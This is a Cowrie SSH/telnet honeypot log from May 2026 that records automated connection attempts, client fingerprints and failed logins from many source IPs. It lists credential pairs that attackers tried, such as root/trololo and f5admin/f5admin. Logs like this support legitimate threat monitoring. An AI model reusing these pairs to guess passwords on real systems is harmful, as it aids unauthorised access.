{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:d6:b2:b9:77:ad:e7:87:b8:f3:ee:a2:9d:f6:f9:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtN3WR3ZR+xdh0zboT1081HhzQClMkUDaGW1my3t258X4PJ+i6QinXtY+q5aRCJDQrLxv37gRO9eDvAzBO1e8kAvPL1K4xZ1m/J+txuRpkaFn62uPDuafIU7rBCpsqLEWnsrEOyBayQKYDs1CbGWvex+BE7PGqtrBO8zvrfCzrpOLEV6EqvMfGK1pOFlL0DtgecMSiVU5vRwatYikL3hSRy5uSfmcNrv0EdShInNj9yQpawY92Vpg+OWp0Ou9j3XhQjeM5d1GLJKaOiIVA2deW/8krKvhecxF3/+TH5+ssCGTCIey2IWrTucPBBE418BXMTEsrACIZHLfwxca4FB2zQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:d6:b2:b9:77:ad:e7:87:b8:f3:ee:a2:9d:f6:f9:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:47.433349Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:d6:b2:b9:77:ad:e7:87:b8:f3:ee:a2:9d:f6:f9:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtN3WR3ZR+xdh0zboT1081HhzQClMkUDaGW1my3t258X4PJ+i6QinXtY+q5aRCJDQrLxv37gRO9eDvAzBO1e8kAvPL1K4xZ1m/J+txuRpkaFn62uPDuafIU7rBCpsqLEWnsrEOyBayQKYDs1CbGWvex+BE7PGqtrBO8zvrfCzrpOLEV6EqvMfGK1pOFlL0DtgecMSiVU5vRwatYikL3hSRy5uSfmcNrv0EdShInNj9yQpawY92Vpg+OWp0Ou9j3XhQjeM5d1GLJKaOiIVA2deW/8krKvhecxF3/+TH5+ssCGTCIey2IWrTucPBBE418BXMTEsrACIZHLfwxca4FB2zQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:47.437599Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:47.561080Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":25116,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7f5de8fa035","protocol":"ssh","message":"New connection: 165.154.227.158:25116 (159.203.135.109:22) [session: b7f5de8fa035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:21.254570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:21.260425Z","src_ip":"165.154.227.158","session":"b7f5de8fa035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:21.487676Z","src_ip":"165.154.227.158","session":"b7f5de8fa035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60174,"dst_ip":"10.17.0.5","dst_port":23,"session":"755405c32c96","protocol":"telnet","message":"New connection: 192.119.13.58:60174 (10.17.0.5:23) [session: 755405c32c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:21.831343Z"}
{"eventid":"cowrie.login.failed","username":"proxyuser","password":"123456","message":"login attempt [proxyuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:22.425293Z","src_ip":"165.154.227.158","session":"b7f5de8fa035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:23.653811Z","src_ip":"165.154.227.158","session":"b7f5de8fa035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":55206,"dst_ip":"159.203.135.109","dst_port":22,"session":"74425e5a605c","protocol":"ssh","message":"New connection: 193.32.162.151:55206 (159.203.135.109:22) [session: 74425e5a605c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:27.282990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:27.287700Z","src_ip":"193.32.162.151","session":"74425e5a605c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:27.394450Z","src_ip":"193.32.162.151","session":"74425e5a605c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"f5admin","password":"f5admin","message":"login attempt [f5admin/f5admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:27.750180Z","src_ip":"193.32.162.151","session":"74425e5a605c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":52206,"dst_ip":"159.203.135.109","dst_port":22,"session":"70a15830168a","protocol":"ssh","message":"New connection: 80.94.92.186:52206 (159.203.135.109:22) [session: 70a15830168a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:28.191468Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:28.298205Z","src_ip":"80.94.92.186","session":"70a15830168a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:28.859392Z","src_ip":"193.32.162.151","session":"74425e5a605c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":54138,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3bd1aa70b2c","protocol":"ssh","message":"New connection: 43.156.17.27:54138 (159.203.135.109:22) [session: d3bd1aa70b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:36.980948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:36.985800Z","src_ip":"43.156.17.27","session":"d3bd1aa70b2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:37.225006Z","src_ip":"43.156.17.27","session":"d3bd1aa70b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"astra","password":"123456","message":"login attempt [astra/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:38.211468Z","src_ip":"43.156.17.27","session":"d3bd1aa70b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:39.453822Z","src_ip":"43.156.17.27","session":"d3bd1aa70b2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":51644,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9ad257a8bb","protocol":"ssh","message":"New connection: 193.37.70.224:51644 (159.203.135.109:22) [session: cc9ad257a8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:44.113693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:44.119040Z","src_ip":"193.37.70.224","session":"cc9ad257a8bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:44.211839Z","src_ip":"193.37.70.224","session":"cc9ad257a8bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trololo","message":"login attempt [root/trololo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:44.504007Z","src_ip":"193.37.70.224","session":"cc9ad257a8bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:45.600933Z","src_ip":"193.37.70.224","session":"cc9ad257a8bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":40688,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a687b3935bd","protocol":"ssh","message":"New connection: 170.106.115.61:40688 (10.17.0.5:22) [session: 4a687b3935bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:53.064839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:53.069642Z","src_ip":"170.106.115.61","session":"4a687b3935bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:53.138426Z","src_ip":"170.106.115.61","session":"4a687b3935bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testtest","message":"login attempt [ubuntu/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:53.445305Z","src_ip":"170.106.115.61","session":"4a687b3935bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:54.517643Z","src_ip":"170.106.115.61","session":"4a687b3935bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.182.190.37","src_port":58383,"dst_ip":"10.17.0.5","dst_port":23,"session":"b82ff14c3526","protocol":"telnet","message":"New connection: 60.182.190.37:58383 (10.17.0.5:23) [session: b82ff14c3526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:01:56.036618Z"}
{"eventid":"cowrie.session.closed","duration":47.3514130115509,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:09.182615Z","src_ip":"192.119.13.58","session":"755405c32c96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.30901575088501,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:09.345526Z","src_ip":"60.182.190.37","session":"b82ff14c3526","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":39044,"dst_ip":"159.203.135.109","dst_port":22,"session":"868fd9ef14eb","protocol":"ssh","message":"New connection: 77.94.47.83:39044 (159.203.135.109:22) [session: 868fd9ef14eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:25.896238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:25.901232Z","src_ip":"77.94.47.83","session":"868fd9ef14eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:26.025858Z","src_ip":"77.94.47.83","session":"868fd9ef14eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:26.402550Z","src_ip":"77.94.47.83","session":"868fd9ef14eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:27.531228Z","src_ip":"77.94.47.83","session":"868fd9ef14eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":34910,"dst_ip":"159.203.135.109","dst_port":22,"session":"c79c43189d31","protocol":"ssh","message":"New connection: 89.108.118.91:34910 (159.203.135.109:22) [session: c79c43189d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:32.379179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:32.383816Z","src_ip":"89.108.118.91","session":"c79c43189d31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:32.526776Z","src_ip":"89.108.118.91","session":"c79c43189d31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fynjybyf","message":"login attempt [root/fynjybyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:32.968070Z","src_ip":"89.108.118.91","session":"c79c43189d31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:34.245191Z","src_ip":"89.108.118.91","session":"c79c43189d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":34730,"dst_ip":"159.203.135.109","dst_port":22,"session":"61070d169ba3","protocol":"ssh","message":"New connection: 103.77.175.15:34730 (159.203.135.109:22) [session: 61070d169ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:41.116859Z"}
